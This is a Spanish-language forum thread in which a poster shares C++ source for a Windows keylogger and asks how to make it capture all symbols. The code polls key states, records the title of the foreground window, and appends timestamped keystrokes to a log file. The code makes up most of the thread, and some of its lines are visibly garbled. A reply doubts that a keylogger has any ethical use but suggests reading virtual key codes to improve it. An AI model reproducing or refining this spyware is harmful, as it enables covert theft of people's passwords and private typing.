Estoy haciendo un keylogger en C++/CPP.
Tomé como influencias ciertos códigos que se han publicado en esta página pero por lo que veo nadie se detuvo a perfeccionar este pequeño keylogger. Lo cual me resulta un desperdicio de posibilidades y talento. (LEER AL FINAL DEL CODIGO)
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>
#define OK -32767
int main() {
FILE *log;
HWND ventana;
time_t ltime;
int tecla=0;
int cont=0;
char TVentana[500] = "";
char Teclas[10240]=""; // 0 1 2 3 4 5 6 7 8 9 10
char simbol[256][15] =/*0*/ {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
/*1*/ "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
/*2*/ "","","","","","","[Esc]","","","",
/*3*/ ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
/*4*/ "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
/*5*/ "3","4","5","6","7","8","9","","","",
/*6*/ "","","","","a","b","c","d","e","f",
/*7*/ "g","h","i","j","k","l","m","n","o","p",
/*8*/ "q","r","s","t","u","v","w","x","y","z",
/*9*/ "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
/*10*/ "4","5","6","7","8","9","*","+"," ","-",".",
/*11*/ "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
/*12*/ "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
/*13*/ " "," "," "," "," "," "," "," "," "," "," ",
/*14*/ " "," ","[Bloq Num]"," "," "," "," "," "," ",
/*15*/ " "," "," "," "," "," "," "," "," ","[Shift-I]",
/*16*/ "[Shift-D]"," "," "," "," "," "," "," "," "," ",
/*17*/ " "," "," "," "," "," "," "," "," "," ",
/*18*/ " "," "," "," "," "," "," ",",","-",".",
/*19*/ " "," "," "," "," "," "," "," "," ",
/*20*/ " "," "," "," "," "," "," "," "," "," "," ",
/*21*/ " "," "," "," "," "," "," "," ","'","\\",
/*22*/ "¡","´" };
log=fopen("log.log","a");
fprintf(log,"\n/******************************/");
fprintf(log,"\n/*
- KeyLoGuer */");
- Iniciando...OK ");
fclose(log);
ventana=GetForegroundWindow();
while(1) {
if((GetForegroundWindow()!=ventana) || (cont==850)){
if(strlen(TVentana)>0 && strlen(Teclas)>0) {
time(<ime);
ctime(<ime);
log=fopen("log.log","a");
fprintf(log,"\n\n
- Fecha: %s",ctime(<ime));
- Ventana: %s ",TVentana);
- Texto: %s",Teclas);
fprintf(log,"\n/******************************/\n");
fclose(log);
free(Teclas);
strcpy(Teclas,"");
cont = 0;
}
ventana=GetForegroundWindow();
}
else {
GetWindowText(ventana,TVentana,500);
}
for(tecla=4;tecla<256;tecla++) {
if (GetAsyncKeyState(tecla)==OK) {
strcat(Teclas,simbol[tecla]);
printf(" %s \n" ,simbol[tecla]);
cont++;
}
}
}
}
Muy buen código y de todos los que vi buscando por internet fue el más simple y efectivo. De todas formas NINGUNO de estos keyloggers puede detectar todo el codigo ASCII.
Veamos un ejemplo mientras se ejecuta el programa: Si alguien teclea ALT+265 se crea el simbolo "○", Sin embargo en el .log solo se guarda ALT ALT ALT ...
NINGUN KEYLOGGER HECHOS EN C++ HASTA AHORA RECONOCE TODA LA SIMBOLOGIA Y ESTO REQUIERE MEJORAS.
Por favor alguien sabe como completar el código? Es posible hacerlo en C++?





Autor


En línea



y no veo la manera etica de usar un keylogger (el hecho no es que sea detectable, eso no le da ética, solo lo hace inútil para lammers, que semos sinceros, ya es un buen progreso)... pero solo por el "bien del progreso", tiene un gran error... el codigo lee las letras que llegan al sistema operativo, en lugar de leer las teclas presionadas, con (creo que microsoft lo llama) virtual key code, lees eso y no importa si es ascii o no, porque lo importante va a ser la tecla que se presionó y su representación unicode